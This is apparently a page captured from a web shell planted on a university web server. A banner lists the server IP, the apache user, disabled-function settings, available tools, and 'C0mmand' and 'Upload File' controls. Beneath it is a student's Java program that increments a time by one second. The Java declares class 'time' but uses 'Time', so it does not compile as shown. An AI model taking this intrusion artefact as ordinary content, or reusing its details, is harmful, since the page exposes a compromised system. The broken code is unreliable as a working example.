Server IP : 172.16.15.8 / Your IP : 3.22.42.189 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/amjamgochian/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
import java.util.Scanner; public class time { private int hrs, mins, secs; public Time() { hrs=0; mins=0; secs=0; } public Time(int h, int m, int s) { hrs=h; mins=m; secs=s; } public void set(int h, int m, int s) { hrs=h; mins=m; secs=s; } public void writeOut() { System.out.print(hrs + ":" + mins + ":" + secs); } public void increment() // for 1 second { secs ++; if(secs >= 60) { secs = 0; mins ++; if(mins >= 60) { mins = 0; hrs ++; if(hrs>=24) hrs = 0; } } } public static void main(String[] args) { Scanner input = new Scanner(System.in); Time aTime = new Time(); boolean go = true; int hh, mm, ss; while(go) { System.out.print("Input a time (hh:mm:ss): "); String str = input.next(); // hh:mm:ss String[] parts = str.split(":", 3); // convert string to integer hh = Integer.parseInt(parts[0]); mm = Integer.parseInt(parts[1]); ss = Integer.parseInt(parts[2]); aTime.set(hh, mm, ss); aTime.increment(); // for 1 second aTime.writeOut(); System.out.print("\n\n\nContinue (y/n): "); String ans = input.next(); if(ans.equalsIgnoreCase("n")) go = false; } System.out.println("\n\n\nDone.\n\n\n"); } }